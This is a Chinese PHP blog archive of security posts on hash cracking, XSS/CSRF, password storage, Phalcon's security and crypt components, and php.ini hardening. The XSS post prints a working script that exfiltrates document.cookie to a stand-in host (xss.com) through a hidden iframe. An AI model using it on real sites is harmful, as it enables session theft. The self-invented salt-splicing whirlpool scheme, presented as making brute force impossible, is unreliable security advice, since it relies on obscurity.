标签归档:安全

安全主题 之 哈希字符串暴破

参考:http://blog.ifeeline.com/1569.html,在这里描述了如何安全保存密码,最安全的做法就是无法识别使用了何种哈希算法,或者对得到的哈希字符串进行一个自定义的算法(主要打乱顺序与正确还原)。

最近接触到了一种保存保存密码哈希的方法,如此:md5(md5($pass)),看起来两次哈希,貌似比较安全,实际这个做法已经极度不安全了:

<?php
function md5Hash($str='')
{
	if(!empty($str)) {
		return md5(md5($str));
	}
	return '';
}
echo md5Hash('1');
//输出28c8edde3d61a0411511d3b1866f0636

mdmd
这里它自动识别了加密的方式,很明显,它已经查询到了原密码。更进一步,如果查询不到密码,它会放入后台去爆破,成功后发邮件通知。是不是有点心动或心慌?

实际上,md5(md5($pass))跟md5($pass)已经没有什么差别了。那么加入slat的通用做法是不就安全呢,看这个站点提供的暴力破解的哈希类型就可以得到答案:
hashstyle
可见,MD5这种算法,即使加了slat,被爆破的可能性还是很大的。

所以,不要使用这里的算法,比如尽可能不要再使用MD5了,可以更换成whirlpool,这算法会产生一个长串,长串暴露后,目前的程序估计还无法识别其算法。好吧,就算其可以识别,那么我们再来一个自定义算法(比如某某位置字符调换一下),这样即使这个串暴力出来了,那么它也是错误的。

这里描述的内容,希望可以提升各位看官的安全意识,别一厢情愿…

安全主题 之 XSS与CSRF

客户端和服务端的状态保存依靠客户端回传会话ID来保持,会话ID可以通过Cookie也可以通过在URL中附加会话ID来实现传递,如果会话ID被挟持,恶意攻击者(或脚本)就可以通过这个会话ID来伪造请求和服务器进行通信。

两种情况比较常见,一、传输过程中泄露了会话ID 二、XSS注入攻击和CSRF攻击。

对于传输过程中泄露问题,目前业界标准解决方案就是安全链接(HTTPS), 会话的Cookie可以配置成仅通过安全链接进行传输,在PHP中:

session.cookie_secure boolean
session.cookie_secure 指定是否仅通过安全连接发送 cookie。默认为 off。此设定是 PHP 4.0.4 添加的。参见 session_get_cookie_params() 和 session_set_cookie_params()。

会话被挟持的另一种情况是XSS注入攻击和CSRF攻击。
1 XSS
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

假如被注入了如下脚本:

(function(window, document) {
	var cookies = document.cookie;
	var xssBase = "http://xss.com/";
	var xssURI = xssBase + window.encodeURI(cookies);

	var hideFrame = document.createElement("iframe");
	hideFrame.height = 0;
	hideFrame.width = 0;
	hideFrame.style.display = "none";
	hideFrame.src = xssURI;
	
	document.body.appendChild(hideFrame);
})(window, document);

那么任何一个用户访问时,它的Cookie信息都被发送出去。虽然浏览器中脚本跨域做了限制,但是通过iframe把可以突破这个限制。

XSS还可以更加简单点,比如注入没有结束的HTML标签,可能会导致页面显示问题,或注入一段死循环的脚本。所以在编写程序时,一定要对数据进行有效过滤,特别的,对JS还可以嵌入到HTML标签的属性中,这个处理最为麻烦。

2 CSRF
CSRF全称是跨站请求伪造。一般可以把通过XSS实现的CSRF称为XSRF。CSRF关注点在伪造的请求。而XSS是跨站脚本,这个脚本可以发起伪造请求也可以做其它的操作,XSS关注点在注入。

假如用户C登录了网站A,在没有登出的情况下,它去访问了有恶意代码的网站B,那么这些恶意的代码就可以向网站A以用户C的身份发起攻击。比如恶意代码中包含了删除网站A相关信息的代码等,而这个用户C并不知情。恶意代码来自网站B,所以理论上它并不能获取到用户C在网站A的Cookie,但是它可以以用户C的身份访问网站A。

来自网站B的恶意代码可以非常容易伪造请求访问网站A,比如把请求链接嵌入img标签中,或者构建POST请求。恶意代码可能来自网站B被XSS注入,也可能是通过其它途径点击了某个带恶意代码的链接。为了避免网站A遭受攻击,除了使用验证码外,最通用的办法是加入会话安全码,处理请求时验证这个安全码,由于安全码是随机的,恶意代码事先并无法知晓,所以可以有效拦截这种类型的攻击。

//
Zend_Session::start();
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($token->securityToken)) {
	$token->securityToken = md5(uniqid(rand(),true));
}

//
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($_POST['securityToken']) || !isset($token->securityToken) || ($_POST['securityToken'] != $token->securityToken)) {

}

为了避免后台登录遭受CSRF攻击,通常都会插入一个Token,而且这个Token要求每次刷新登录页面时都不一样。 后台登录一般都会加入防止暴力破解的逻辑,一旦某个用户尝试密码次数超过限制,就会限制用户登录,如果不验证Token,一旦遭受CSRF攻击,原本正常的用户就会被限制。如果一个会话的Token都不改变,那么恶意代码可以加入这个Token,也可以发起无数次伪造请求,所以安全要求很高的后台登陆,就要求Token要随着每次登录请求而改变。

实际上,对于后台登录这样的表单,加入一个动态的Token还可以一定程度上增加暴力破解的难度。现象一下,如果没有加入动态Token也没有加入其它的防爆方法,那么在域外构建一个表单,就可以无数次的发起伪造请求进行嗅探,而且每个请求服务端都要开一个会话与之对应(只用一次),这样资源可能被大量占用。但是加入了Token就不一样了,如果你需要暴力破解,那么要先读取Token,由于Token仅仅保存在当前会话,所以还要把会话ID提取出来,之后构建表单,由于这个请求回传了会话ID,所以不会打开大量会话,发起这样的伪造请求难度加大。

当然了,后台登录加入动态Token并不是为了防暴力破解,要对付暴力破解,只要针对某个IP的请求,如果尝试了多次不成功则列入黑名单,黑名单中的IP在一段时间内被限制登录即可。当然,目前最通用常见的方法是,如果尝试了多次不成功,那么则要求输入验证吗,这个方式看起来是用户体验会好些。

永久链接:http://blog.ifeeline.com/1599.html

安全主题 之 密码保存

网站登录的各种账户一般都应该经过哈希处理之后进行保存。但是如果直接对明文进行哈希后保存还是远远不够的,通常我们需要随机生成一个字符串然后和明文合并在一起再取哈希,把得到的哈希和哈希串合并起来保存,在比对密码时,先分解出随机串取和哈希,然后重复一次产生密码的过程得到哈希码,对比新旧哈希是否一致来判断密码是否正确。

这个过程有几个关键点需要注意:
1 随机串的生成应该是长度一样的,最好是跟哈谢结果使用一样的字符集合,因为这样的字符串跟哈希串合并后可以让机器无法识别哈希算法
2 随机字符串和密码哈希合并时,实际上可以按照一定规律插入到哈希码中间去(取出时按照一样的规则),这样做,可以让机器彻底无法识别哈希算法,就算符合某种算法规则,计算结果永远是错误,这个可以彻底杜绝暴力破解。
3 哈希算法的选择,实际只要做到以上两点,使用什么哈希算法已经无关重要,举例,随机串长度选择为32字符,按照固定位置插入到哈希字符中间,首先什么算法得到这样的串,机器已经无法知晓,就算知道,成功分离了随机串,那么意味值你至少需要暴力破解一个33(假设密码最小长度为一个字符)个字符的密码,这是一个天文数字,它足够安全了。

以下是实现以上思维的例子:

class Password{
	
    // 产生随机串
    public static function getPasswordSalt(){
        return substr(hash('whirlpool',mt_rand()),0,20);
    }
    
    // 根据Hash返回salt
    public static function getPasswordSaltByHash($hash){
        if(!empty($hash)) {
            return substr($hash,32,20);
        }
        return '';
    } 
    
    // 随机串插入32字符处
    public static function getPasswordHash($salt,$password){
        $hash = hash('whirlpool',$salt.$password);
        return substr($hash,0,32).$salt.substr($hash,32);
    }
     
    // 比对密码
    public static function comparePassword($password,$hash)
    {
        // 取回随机串
        $salt = substr($hash,32,20);
        // 用这个随机串产生哈希,比对是否相等
        return $hash == Password::getPasswordHash($salt,$password);
    }
     
    // 密码对应的哈希,封装函数
    public static function getHash($password)
    {
        return Password::getPasswordHash(Password::getPasswordSalt(),$password);
    }
}

// 测试
$password = "admin";
$salt = Password::getPasswordSalt();

$password_hash = Password::getPasswordHash($salt,$password);

echo $salt."\n";
echo hash('whirlpool',$salt.$password)."\n";
echo $password_hash;
echo "\n--------------------------\n";

if(Password::comparePassword($password,$password_hash)){
	echo "密码一样\n";
}else{
	echo "密码不一样\n";
}

if(Password::comparePassword("adminadmin",$password_hash)){
	echo "密码一样\n";
}else{
	echo "密码不一样\n";
}

输出:
988d3ae1f014be38072a
d95a8d4b33882d8c850305067180279476a82ecc3e308ff6b4d32b7e050c68d31e049be899c2e49d8d614d2d4ccf03ff50cdfb87a691f3522283af339b81ccc1
d95a8d4b33882d8c8503050671802794988d3ae1f014be38072a76a82ecc3e308ff6b4d32b7e050c68d31e049be899c2e49d8d614d2d4ccf03ff50cdfb87a691f3522283af339b81ccc1
————————–
密码一样
密码不一样

机器可能可以识别插入了随机串(salt)的哈希码所使用的算法,但是随机串(salt)插入了哪个位置和长度是无法判断的,因此不可能从这个串暴力出原来密码,再说这个salt长度有20字符,那么密码至少有21位(一般设置9字符密码,那么长度就会达到29位),就算现在很牛逼的“彩虹表”也最多支持查询10多位的密码暴力破解而已,更比说曝光的哈希字符串本身是一个”错误”的。

PHP框架Phalcon 之 安全 加密解密

安全(Security)

This component aids the developer in common security tasks such as password hashing and Cross-Site Request Forgery protection (CSRF).
通用的安全任务比如密码哈希和跨站请求伪造保护(CSRF)

密码散列(Password Hashing)
Storing passwords in plain text is a bad security practice. Anyone with access to the database will immediately have access to all user accounts thus being able to engage in unauthorized activities. To combat that, many applications use the familiar one way hashing methods “md5” and “sha1”. However, hardware evolves each day, and becomes faster, these algorithms are becoming vulnerable to brute force attacks. These attacks are also known as rainbow tables.
硬件提升,密码容器破解。这些攻击工具有著名的彩虹表。

To solve this problem we can use hash algorithms as bcrypt. Why bcrypt? Thanks to its “Eksblowfish” key setup algorithm we can make the password encryption as “slow” as we want. Slow algorithms make the process to calculate the real password behind a hash extremely difficult if not impossible. This will protect your for a long time from a possible attack using rainbow tables.

This component gives you the ability to use this algorithm in a simple way:

<?php

use Phalcon\Mvc\Controller;

class UsersController extends Controller
{

    public function registerAction()
    {

        $user = new Users();

        $login = $this->request->getPost('login');
        $password = $this->request->getPost('password');

        $user->login = $login;

        //Store the password hashed
        $user->password = $this->security->hash($password);

        $user->save();
    }

}

We saved the password hashed with a default work factor. A higher work factor will make the password less vulnerable as its encryption will be slow. We can check if the password is correct as follows:

<?php

use Phalcon\Mvc\Controller;

class SessionController extends Controller
{

    public function loginAction()
    {

        $login = $this->request->getPost('login');
        $password = $this->request->getPost('password');

        $user = Users::findFirstByLogin($login);
        if ($user) {
            if ($this->security->checkHash($password, $user->password)) {
                //The password is valid
            }
        }

        //The validation has failed
    }

}

The salt is generated using pseudo-random bytes with the PHP’s function openssl_random_pseudo_bytes so is required to have the openssl extension loaded.
需要使用openssl扩展。

防止跨站点请求伪造攻击(Cross-Site Request Forgery (CSRF) protection)
This is another common attack against web sites and applications. Forms designed to perform tasks such as user registration or adding comments are vulnerable to this attack.

The idea is to prevent the form values from being sent outside our application. To fix this, we generate a random nonce (token) in each form, add the token in the session and then validate the token once the form posts data back to our application by comparing the stored token in the session to the one submitted by the form:
对每个表单产生一个随机的token,添加这个token到session中,如果有表单提交过来则验证这个token:

<?php echo Tag::form('session/login') ?>

    <!-- login and password inputs ... -->

    <input type="hidden" name="<?php echo $this->security->getTokenKey() ?>"
        value="<?php echo $this->security->getToken() ?>"/>

</form>

Then in the controller’s action you can check if the CSRF token is valid:

<?php

use Phalcon\Mvc\Controller;

class SessionController extends Controller
{

    public function loginAction()
    {
        if ($this->request->isPost()) {
            if ($this->security->checkToken()) {
                //The token is ok
            }
        }
    }

}

(三个方法,getTokenKey()和getToken()和checkToken())

Remember to add a session adapter to your Dependency Injector, otherwise the token check won’t work:

$di->setShared('session', function() {
    $session = new Phalcon\Session\Adapter\Files();
    $session->start();
    return $session;
});

Adding a captcha to the form is also recommended to completely avoid the risks of this attack.

设置组件(Setting up the component)
This component is automatically registered in the services container as ‘security’, you can re-register it to setup it’s options:
这个组件自动注册为‘security’:

<?php

$di->set('security', function(){

    $security = new Phalcon\Security();

    //Set the password hashing factor to 12 rounds
    $security->setWorkFactor(12);

    return $security;
}, true);

———————————————–
关于加密服务,默认Phalcon会注册一个叫crypt的服务,但是一般需要自定义一下,因为通过自定义可以设置一个key,那么在调用加密解密函数时就不需要指定key。
———————————————–
加密与解密(Encryption/Decryption)
Phalcon provides encryption facilities via the Phalcon\Crypt component. This class offers simple object-oriented wrappers to the mcrypt php’s encryption library.
Phalcon通过Phalcon\Crypt组件提供加密工具。这个类提供了简单的面向对象的针对php的加密库mcrypt的包装器。

By default, this component provides secure encryption using AES-256 (rijndael-256-cbc).

Basic Usage
This component is designed to provide a very simple usage:

<?php

//Create an instance
$crypt = new Phalcon\Crypt();

$key = 'le password';
$text = 'This is a secret text';

$encrypted = $crypt->encrypt($text, $key);

echo $crypt->decrypt($encrypted, $key);

You can use the same instance to encrypt/decrypt several times:

<?php

//Create an instance
$crypt = new Phalcon\Crypt();

$texts = array(
    'my-key' => 'This is a secret text',
    'other-key' => 'This is a very secret'
);

foreach ($texts as $key => $text) {

    //Perform the encryption
    $encrypted = $crypt->encrypt($text, $key);

    //Now decrypt
    echo $crypt->decrypt($encrypted, $key);
}

加密选项(Encryption Options)
The following options are available to change the encryption behavior:

Name Description
Cipher The cipher is one of the encryption algorithms supported by libmcrypt. You can see a list here
Mode One of the encryption modes supported by libmcrypt (ecb, cbc, cfb, ofb)
<?php

//Create an instance
$crypt = new Phalcon\Crypt();

//Use blowfish
$crypt->setCipher('blowfish');

$key = 'le password';
$text = 'This is a secret text';

echo $crypt->encrypt($text, $key);

提供 Base64(Base64 Support)
In order that encryption is properly transmitted (emails) or displayed (browsers) base64 encoding is usually applied to encrypted texts:
为了让加密文本更容器传送,可以把加密文本转换为Base64编码:

<?php

//Create an instance
$crypt = new Phalcon\Crypt();

$key = 'le password';
$text = 'This is a secret text';

$encrypt = $crypt->encryptBase64($text, $key);

echo $crypt->decryptBase64($text, $key);

配置加密服务(Setting up an Encryption service)
You can set up the encryption component in the services container in order to use it from any part of the application:

<?php

$di->set('crypt', function() {

    $crypt = new Phalcon\Crypt();

    //Set a global encryption key
    $crypt->setKey('%31.1e$i86e$f!8jz');

    return $crypt;
}, true);

Then, for example, in a controller you can use it as follows:

<?php

use Phalcon\Mvc\Controller;

class SecretsController extends Controller
{

    public function saveAction()
    {
        $secret = new Secrets();

        $text = $this->request->getPost('text');

        $secret->content = $this->crypt->encrypt($text);

        if ($secret->save()) {
            $this->flash->success('Secret was successfully created!');
        }

    }

}

PHP 安全

安全威胁:软件漏洞 用户输入 未能妥善保护的数据

1 安全配置PHP(与安全有关的配置参数)
1)disable_functions = string
作用域:PHP_INI_SYSTEM; 默认值:NULL
可以将disable_functions设置为一个希望禁用的函数名列表,各函数名之间用逗号分隔。

2)disable_classes = string
作用域:PHP_INI_SYSTEM; 默认值:NULL
可以禁止使用某些类。

3)display_errors = On | Off
作用域:PHP_INI_ALL; 默认值:On
PHP通过向浏览器窗口输出错误信息,从而暴露服务器配置或应用程序的一些详细信息。在生产环境下务必禁用。当然,也可以将错误信息保存到一个日志文件。

4)max_execution_time = integer
作用域:PHP_INI_ALL; 默认值:30
此指令指定脚本在终止前执行的秒数。这对于防止用户脚本占用过多CPU时间非常有用。如果设置为了则表示没有时间限制。

5)memory_limit = integer M
作用域:PHP_INI_ALL; 默认值:128M
此指令指定脚本可以使用的内存,以M为单位。此指令只有在配置PHP时启用 –enable-memory-limit后才可用。

6)open_basedir = string
作用域:PHP_INI_ALL; 默认值:NULL
PHP的open_basedir指令可以建立一个基目录,将限制所有文件操作只能在这个目录下进行。

7)sql.safe_mode = string
作用域:PHP_INI_SYSTEM; 默认值:0
当启用sql.safe_mode指令时,会忽略传给mysql_connect()和mysql_pconnect()的所有信息,而使用localhost作为目标主机。运行PHP的用户作为用户名,不使用密码。

8)user_dir = string
作用域:PHP_INI_SYSTEM; 默认值:NULL
此指令指定用户主目录中的一个目录名,PHP脚本必须放在这里才能执行。

2 隐藏配置细节
参阅:http://www.vfeelit.com/73.html

3 隐藏敏感数据
4 数据加密
1) PHP的加密函数
使用md5()散列函数加密数据。PHP的hash扩展支持数十种散列算法和相应变种。参见:http://us3.php.net/hash
注:为了确保PHP的哈希函数能用,在配置PHP时一般明确指定–with-mhash参数。

2) MCrypt包
MCrypt是一个PHP可用的流行数据加密包,它提供了加密和解密支持。要使用它前需要先安装mcrypt系统包:
(1)到http://mcrypt.sourceforge.net下载包的源代码
(2)编译安装这个包
(3)使用—with-mcrypt选项编译PHP

永久连接:http://blog.ifeeline.com/326.html